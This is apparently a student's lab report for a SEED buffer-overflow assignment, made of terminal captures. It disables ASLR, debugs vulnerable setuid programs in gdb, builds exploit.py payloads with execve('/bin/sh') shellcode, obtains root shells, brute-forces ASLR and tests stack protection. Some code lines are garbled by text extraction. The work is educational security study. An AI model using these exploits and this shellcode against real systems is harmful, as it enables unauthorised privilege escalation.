Concepts of System Security

Assignment 4

Buffer Overflow

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Environmental setup:

Turning Off Countermeasures

Address Space Randomization

sudo sysctl -w kernel.randomize_va_space=0

```
[01/24/25]seed@VM:~/.../buff$
[01/24/25]seed@VM:~/.../buff$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[01/24/25]seed@VM:~/.../buff$
```

sudo In -sf /bin/zsh /bin/sh

```
[01/24/25]seed@VM:~/.../buff$ sudo ln -sf /bin/zsh /bin/sh [01/24/25]seed@VM:~/.../buff$ ■
```

Task 1: Getting Familiar with Shellcode

[01/23/25]seed@VM:~/.../shellcode\$ cd ..

- The goal of buffer-overflow attack is to inject malicious code into the target program
- So the code can be executed using the target program's privilege

```
1#include <stdlib.h>
 2 #include <stdio.h>
 3 #include <string.h>
 5 // Binary code for setuid(0)
 6// 64-bit: "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
 7 // 32-bit: "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
10 const char shellcode[] =
11#if x86 64
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
12
13
    x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57
14
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
15 #else
16
    \x0\x50\x68\x2f\x2f\x73\x68\x68\x2f
17
    18
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
19 #endif
20;
21
22 int main(int argc, char **argv)
23 {
24
     char code[500];
25
26
     strcpy(code, shellcode);
27
     int (*func)() = (int(*)())code;
28
29
     func();
30
     return 1;
31 }
32
[01/23/25]seed@VM:~/.../shellcode$ sudo make
gcc -m32 -z execstack -o a32.out call shellcode.c
gcc -z execstack -o a64.out call shellcode.c
[01/23/25]seed@VM:~/.../shellcode$ ls
a32.out a64.out call shellcode.c Makefile
[01/23/25]seed@VM:~/.../shellcode$ ./a32.out
[01/23/25]seed@VM:~/.../shellcode$ ./a64.out
$ exit
```

Task 2: Understanding the Vulnerable Program

```
stack.c
                                                           call_shellcode.c
 1#include <stdlib.h>
 2 #include <stdio.h>
 3#include <string.h>
 5/* Changing this size will change the layout of the stack.
 6 * Instructors can change this value each year, so students
 7 * won't be able to use the solutions from the past.
 8 */
 9#ifndef BUF SIZE
10 #define BUF SIZE 100
11 #endif
12
13 void dummy function(char *str);
15 int bof(char *str)
16 {
17
      char buffer[BUF SIZE];
18
19
      // The following statement has a buffer overflow problem
20
      strcpy(buffer, str);
21
22
       return 1;
23 }
24
25 int main(int argc, char **argv)
26 {
27
      char str[517];
28
      FILE *badfile;
29
30
      badfile = fopen("badfile", "r");
31
      if (!badfile) {
```

```
30
      badfile = fopen("badfile", "r");
31
      if (!badfile) {
32
         perror("Opening badfile"); exit(1);
33
34
35
      int length = fread(str, sizeof(char), 517, badfile);
      printf("Input size: %d\n", length);
36
37
      dummy function(str);
      fprintf(stdout, "==== Returned Properly ====\n");
38
      return 1;
39
40 }
41
42 // This function is used to insert a stack frame of size
43// 1000 (approximately) between main's and bof's stack frames.
44 // The function itself does not do anything.
45 void dummy function(char *str)
46 {
47
      char dummy buffer[1000];
48
      memset(dummy buffer, 0, 1000);
49
      bof(str);
50 }
51
```

```
[01/23/25]seed@VM:~/.../buffer$ ls
code shellcode
[01/23/25]seed@VM:~/.../buffer$ cd code
[01/23/25]seed@VM:~/.../code$ sudo make
gcc -DBUF SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg sta
ck.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
|qcc -DBUF SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg sta
ck.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
```

```
[01/23/25]seed@VM:~/.../code$ ls
brute-force.sh stack.c stack-L2 stack-L3-dbg
exploit.py stack-L1 stack-L2-dbg stack-L4
Makefile stack-L1-dbg stack-L3 stack-L4-dbg
```

Task 3: Launching Attack on 32-bit Program

```
[[01/23/25]seed@VM:~/.../code$ touch badfile
[01/23/25]seed@VM:~/.../code$ gdb stack-L1-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86 64-linux-gnu".
Type "show configuration" for configuration details.
 For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
 Type "apropos word" to search for commands related to "word"...
opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
For help, type "help".
Type "apropos word" to search for commands related to "word"...
opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me/
an "=="?
  if sys.version info.major is 3:
opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m/
ean "=="?
  if pyversion is 3:
Reading symbols from stack-L1-dbg...
gdb-peda$ break bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Downloads/buffer/code/stack-L1-dbg
Input size: 0
[-----
                         ------registers-----
EAX: 0xffffcb68 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf50 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf58 --> 0xffffd188 --> 0x0
ESP: 0 \times ffffcb4c --> 0 \times 565563ee (<dummy function+62>: add esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
```

```
EDX: 0xffffcf50 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf58 --> 0xffffd188 --> 0x0
ESP: 0 \times ffffcb4c --> 0 \times 565563ee (<dummy function+62>: add esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-----code------]
  0x565562a9 < _x86.get_pc_thunk.dx>: mov edx,DWORD PTR [esp]
  0x565562ac < x86.get pc thunk.dx+3>: ret
=> 0x565562ad <bof>: endbr32
  0x565562b1 <bof+4>: push ebp
  0x565562b2 < bof+5>: mov ebp, esp
 0x565562b4 <bof+7>: push ebx
 0x565562b5 <bof+8>: sub esp,0x74
[-----stack-----
|0000| 0xffffcb4c --> 0x565563ee (<dummy_function+62>: add esp,0x10)
0004| 0xffffcb50 --> 0xffffcf73 --> 0x456
0008| 0xffffcb54 --> 0x0
0012| 0xffffcb58 --> 0x3e8
0016 | 0xffffcb5c --> 0x565563c3 (<dummy_function+19>: add eax,0x2bf5)
0020| 0xffffcb60 --> 0x0
0024| 0xffffcb64 --> 0x0
0016| 0xffffcae0 --> 0x0
|0020| 0xffffcae4 --> 0x0
0024| 0xffffcae8 --> 0x0
0028| 0xffffcaec --> 0x0
[-----
Legend: code, data, rodata, value
20 strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb48
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffcadc
gdb-peda$ quit
[01/23/25]seed@VM:~/.../code$
```

```
Open ▼ 🗐
                                                                                    *exploit.py
     1#!/usr/bin/python3
     2 import sys
     4# Replace the content with the actual shellcode
     5 shellcode= (
            \xspace{1} \xspace{1
           "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
            "\xd2\x31\xc0\xb0\x0b\xcd\x80").encode('latin-1')
   10 # Fill the content with NOP's
   11 content = bytearray(0x90 for i in range(517))
   12
   14 # Put the shellcode somewhere in the payload
  15 \text{ start} = 517 - \text{len(shellcode)}
                                                                                                                         # Change this number
  16 content[start:start + len(shellcode)] = shellcode
  17
  18# Decide the return address value
   19 # and put it somewhere in the payload
                     = 0xffffcb48 + 150 # Change this number
  21 \text{ offset} = 112
                                                                            # Change this number
  22
  23 L = 4
                               # Use 4 for 32-bit address and 8 for 64-bit address
  24 content[offset:offset + L] = (ret).to bytes(L,byteorder='little')
  26# Write the content to a file
  27 with open('badfile', 'wb') as f:
  28 f.write(content)
 [01/23/25]seed@VM:~/.../code$
 [01/23/25]seed@VM:~/.../code$ ./exploit.py
 [01/23/25]seed@VM:~/.../code$
 [01/23/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
#
```

Task 4: Launching Attack without Knowing Buffer Size

```
[01/25/25]seed@VM:~/.../code$
[01/25/25]seed@VM:~/.../code$ gdb stack-L2-dbg
GNU qdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/license
s/apl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86 64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a liter
al. Did you mean "=="?
  if sys.version info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a lite
ral. Did you mean "=="?
  if pyversion is 3:
Reading symbols from stack-L2-dbg...
```

```
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Downloads/buff/code/stack-L2-dbg
Input size: 517
[-----registers-----
-----]
EAX: 0xffffcb38 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf20 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf28 --> 0xffffd158 --> 0x0
ESP: 0xffffcb1c --> 0x565563f4 (<dummy function+62>: add
                                                      esp
,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direct
ion overflow)
[-----code-----
```

```
gdb-peda$ next
                   ----registers----
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf20 --> 0xf7fb4000 --> 0xle6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcb18 --> 0xffffcf28 --> 0xffffd158 --> 0x0
ESP: 0xffffca70 --> 0x0
EIP: 0x565562c5 (<bof+24>: sub esp,0x8)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT dire
                 -----code------
  0x565562b5 <bof+8>: sub
                       esp,0xa4
  => 0x565562c5 < bof + 24>: sub esp, 0x8
  0x565562d1 <bof+36>: push edx
  0x565562d2 <bof+37>: mov ebx,eax
                      -----stack-----
gdb-peda$ p &buffer
$1 = (char (*)[160]) 0xffffca70
gdb-peda$ q
```

```
Save ≡ _ □
 1#!/usr/bin/python3
 2 import sys
 4# Replace the content with the actual shellcode
 5 shellcode= (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    \xd2\x31\xc0\xb0\xob\xcd\x80").encode('latin-1')
10 # Fill the content with NOP's
11 content = bytearray(0x90 for i in range(517))
13 # Put the shellcode somewhere in the payload
14 \# start = 0
                       # Change this number
15 content[517 - len(shellcode):] = shellcode
16
17 # Decide the return address value
18 # and put it somewhere in the payload
19 ret = 0xffffca70 + 300
                                  # Change this number
20 \# offset = 112
                          # Change this number
21
22 L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
23 for offset in range(50):
24
         content[offset*L:offset*4 + L] =
  (ret).to bytes(L,byteorder='little')
26
27 # Write the content to a file
28 with open('badfile', 'wb') as f:
29 f.write(content)
[01/25/25]seed@VM:~/.../code$ ./exploit1.py
[01/25/25]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132
(sambashare), 136(docker)
#
```

Task 5: Launching Attack on 64-bit Program

```
[01/25/25]<mark>seed@VM:~/.../code</mark>$ gdb stack-L3-dbg
GNU gdb (Ubuntu 9.2-Oubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/license
s/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86 64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a liter
al. Did you mean "=="?
  if sys.version info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a lite
ral. Did you mean "=="?
  if pyversion is 3:
Reading symbols from stack-L3-dbg...
```

```
gdb-peda$ b bof
Breakpoint 1 at 0x1229: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Downloads/buff/code/stack-L3-dbg
Input size: 517
                   ----registers-----
RAX: 0x7fffffffdd80 --> 0xffffcb9cffffcb9c
RBX: 0x555555555560 (< libc csu init>: endbr64)
RCX: 0x7fffffffdd40 --> 0x0
RDX: 0x7fffffffdd40 --> 0x0
RSI: 0x0
RDI: 0x7fffffffdd80 --> 0xffffcb9cffffcb9c
RBP: 0x7fffffffdd60 --> 0x7fffffffdfa0 --> 0x0
RSP: 0x7fffffffd958 --> 0x5555555555555 (<dummy function+62>: no
RIP: 0x555555555229 (<bof>: endbr64)
R8 : 0x0
R9 : 0x10
R10: 0x55555555602c --> 0x52203d3d3d3d000a ('\n')
R11: 0x246
R12: 0x555555555140 (< start>: endbr64)
R13: 0x7fffffffe090 --> 0x1
R14: 0x0
R15: 0x0
```

```
gdb-peda$ next
                           ----registers----
RAX: 0x7fffffffdd80 --> 0xffffcb9cffffcb9c
RBX: 0x555555555360 (< libc csu init>: endbr64)
RCX: 0x7ffffffffdd40 --> 0x0
RDX: 0x7fffffffdd40 --> 0x0
RSI: 0x0
RDI: 0x7fffffffdd80 --> 0xffffcb9cffffcb9c
RBP: 0x7fffffffd950 --> 0x7fffffffdd60 --> 0x7fffffffdfa0 --> 0x0
RSP: 0x7fffffffd870 --> 0x7fffff7fcf7f0 --> 0x675f646c74725f00 ('')
RIP: 0 \times 55555555553f (<bof+22>: mov rdx,QWORD PTR [rbp-0xd8])
R8 : 0x0
R9 : 0x10
R10: 0x55555555602c --> 0x52203d3d3d3d000a ('\n')
R11: 0x246
R12: 0x555555555140 (< start>: endbr64)
R13: 0x7fffffffe090 \longrightarrow 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT dire
ction overflow)
[-----
                       -----code-----
-----]
gdb-peda$ p $rbp
$1 = (\text{void } *) 0 \times 7 \text{fffffffd950}
gdb-peda$ p &buffer __
$2 = (char (*)[200]) 0 \times 7fffffffd880
gdb-peda$ q
```

```
1#!/usr/bin/python3
 2 import sys
 4# Replace the content with the actual shellcode
 5 shellcode= (
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
 7
    \x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05").encode('latin-1')
10 # Fill the content with NOP's
11 content = bytearray(0x90 for i in range(517))
12
14 # Put the shellcode somewhere in the payload
15 \text{ start} = 517 - \text{len(shellcode)}
                                         # Change this number
16 content[start:start + len(shellcode)] = shellcode
17
18 # Decide the return address value
19# and put it somewhere in the payload
20 ret
        = 0x7ffffffffd950 + 1500
                                        # Change this number
21 \text{ offset} = 216
                          # Change this number
22
23 L = 8
           # Use 4 for 32-bit address and 8 for 64-bit address
24 addr = (ret).to bytes(L,byteorder='little')
25 \text{ content}[0:0 \times d7] = addr * 27
27
28 # Write the content to a file
29 with open('badfile', 'wb') as f:
30 f.write(content)
[01/25/25]seed@VM:~/.../code$ ./exploit1.py
[01/25/25]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132
(sambashare), 136(docker)
```

Task 6: Launching Attack on 64-bit Program

```
[01/25/25]seed@VM:~/.../code$ gdb stack-L4-dbg
GNU gdb (Ubuntu 9.2-Oubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/license
s/qpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86 64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a liter
al. Did you mean "=="?
  if sys.version info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a lite
ral. Did you mean "=="?
  if pyversion is 3:
Reading symbols from stack-L4-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x1229: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Downloads/buff/code/stack-L4-dbg
Input size: 517
[-----
                     -----eaisters----
-----]
RAX: 0x7fffffffdd80 --> 0xffffcb9cffffcb9c
RBX: 0x555555555360 (< libc csu init>: endbr64)
RCX: 0x7fffffffdd40 --> 0x0
RDX: 0x7ffffffffdd40 --> 0x0
RSI: 0x0
RDI: 0x7fffffffdd80 --> 0xffffcb9cffffcb9c
RBP: 0x7fffffffdd60 --> 0x7fffffffdfa0 --> 0x0
RSP: 0x7fffffffd958 --> 0x55555555550 (<dummy function+62>:
                                                               no
p)
RIP: 0x5555555555229 (<bof>: endbr64)
R8 : 0x0
R9 : 0x10
```

```
gdb-peda$ next
                         ----registers-----
RAX: 0x7fffffffdd80 --> 0xffffcb9cffffcb9c
RBX: 0x555555555360 (< libc csu init>: endbr64)
RCX: 0x7fffffffdd40 --> 0x0
RDX: 0x7fffffffdd40 --> 0x0
RSI: 0x0
RDI: 0x7fffffffdd80 --> 0xffffcb9cffffcb9c
RBP: 0x7fffffffd950 --> 0x7fffffffdd60 --> 0x7ffffffffdfa0 --> 0x0
RSP: 0x7fffffffd930 --> 0x7fffffffd9c0 --> 0x0
RIP: 0x555555555239 (<bof+16>: mov rdx,QWORD PTR [rbp-0x18])
R8 : 0x0
R9 : 0x10
R10: 0x55555555602c --> 0x52203d3d3d3d000a ('\n')
R11: 0x246
gdb-peda$ p &buffer_
$1 = (char (*)[10]) 0 \times 7fffffffd946
qdb-peda$
```

```
1#!/usr/bin/python3
 2 import sys
 4# Replace the content with the actual shellcode
 5 shellcode= (
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05").encode('latin-1')
10 # Fill the content with NOP's
11 content = bytearray(0x90 for i in range(517))
12
14 # Put the shellcode somewhere in the payload
15 start = 517 - len(shellcode)
                                        # Change this number
16 content[start:start + len(shellcode)] = shellcode
17
18 # Decide the return address value
19 # and put it somewhere in the payload
20 ret = 0 \times 7 = 0 \times 7 = 0 \times 10^{-2}
                                       # Change this number
21 offset = 18
                       # Change this number
22
23 L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
24
25 content[offset:offset + L] = (ret).to bytes(L,byteorder='little')
27
28 # Write the content to a file
29 with open('badfile', 'wb') as f:
30 f.write(content)
[01/25/25]seed@VM:~/.../code$ ./exploit1.py
[01/25/25]seed@VM:~/.../code$ ./stack-L4
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
,24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132
(sambashare),136(docker)
#
```

Tasks 7: Defeating dash's Countermeasure

```
exploit.py >
                exploit3.py
                            exploit2.py
                                         exploit1.py
                                                      call_shellcode.c
                                                                     stack.c
 1#!/usr/bin/python3
 2 import sys
 4# Replace the content with the actual shellcode
 5 shellcode= (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    \x00\x60\x60\x60\x53\x89\xe1\x31
   "\xd2\x31\xc0\xb0\x0b\xcd\x80"
 9).encode('latin-1')
10
11# Fill the content with NOP's
12 content = bytearray(0x90 for i in range(517))
15 # Put the shellcode somewhere in the payload
16 start = 517 - len(shellcode)
                                       # Change this number
17 content[start:start + len(shellcode)] = shellcode
18
19 # Decide the return address value
20 # and put it somewhere in the payload
       = 0xffffcb58 + 150
                                   # Change this number
22 \text{ offset} = 112
                          # Change this number
23
24 L = 4
           # Use 4 for 32-bit address and 8 for 64-bit address
25 content[offset:offset + L] = (ret).to bytes(L,byteorder='little')
27
28# Write the content to a file
29 with open('badfile', 'wb') as f:
30 f.write(content)
[01/23/25]seed@VM:~/.../shellcode$ cd ...
[01/23/25]seed@VM:~/.../buffer$ ls
code shellcode
[01/23/25]seed@VM:~/.../buffer$ cd code
[01/23/25]seed@VM:~/.../code$ ./exploit.py
[01/23/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom)
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```

Task 8: Defeating Address Randomization

```
[01/23/25]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[01/23/25]seed@VM:~/.../code$
```

```
[01/23/25]seed@VM:~/.../code$ ./exploit.py
[01/23/25]seed@VM:~/.../code$ ./brute-force.sh
```

```
0 minutes and 28 seconds elapsed.
The program has been running 39431 times so far.
Input size: 517
./brute-force.sh: line 14: 63379 Segmentation fault
                                                         ./stack-L1
0 minutes and 28 seconds elapsed.
The program has been running 39432 times so far.
Input size: 517
./brute-force.sh: line 14: 63380 Segmentation fault
                                                          ./stack-L1
0 minutes and 28 seconds elapsed.
The program has been running 39433 times so far.
Input size: 517
./brute-force.sh: line 14: 63381 Segmentation fault
                                                          ./stack-L1
0 minutes and 28 seconds elapsed.
The program has been running 39434 times so far.
Input size: 517
./brute-force.sh: line 14: 63382 Segmentation fault
                                                         ./stack-L1
0 minutes and 28 seconds elapsed.
The program has been running 39435 times so far.
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
```

Tasks 9: Experimenting with Other Countermeasures

```
[01/25/25]seed@VM:~/.../code$ gcc -DBUF_SIZE=100 -m32 -z execstack -o stack-L1 st
ack.c
[01/25/25]seed@VM:~/.../code$ ./stack-L1

Input size: 517
*** stack smashing detected ***: terminated
Aborted

[01/25/25]seed@VM:~/.../code$ gcc -DBUF_SIZE=100 -m32 -z execstack -o stack-L1 st
ack.c
[01/25/25]seed@VM:~/.../code$ ./stack-L1

Input size: 517
*** stack smashing detected ***: terminated
Aborted
```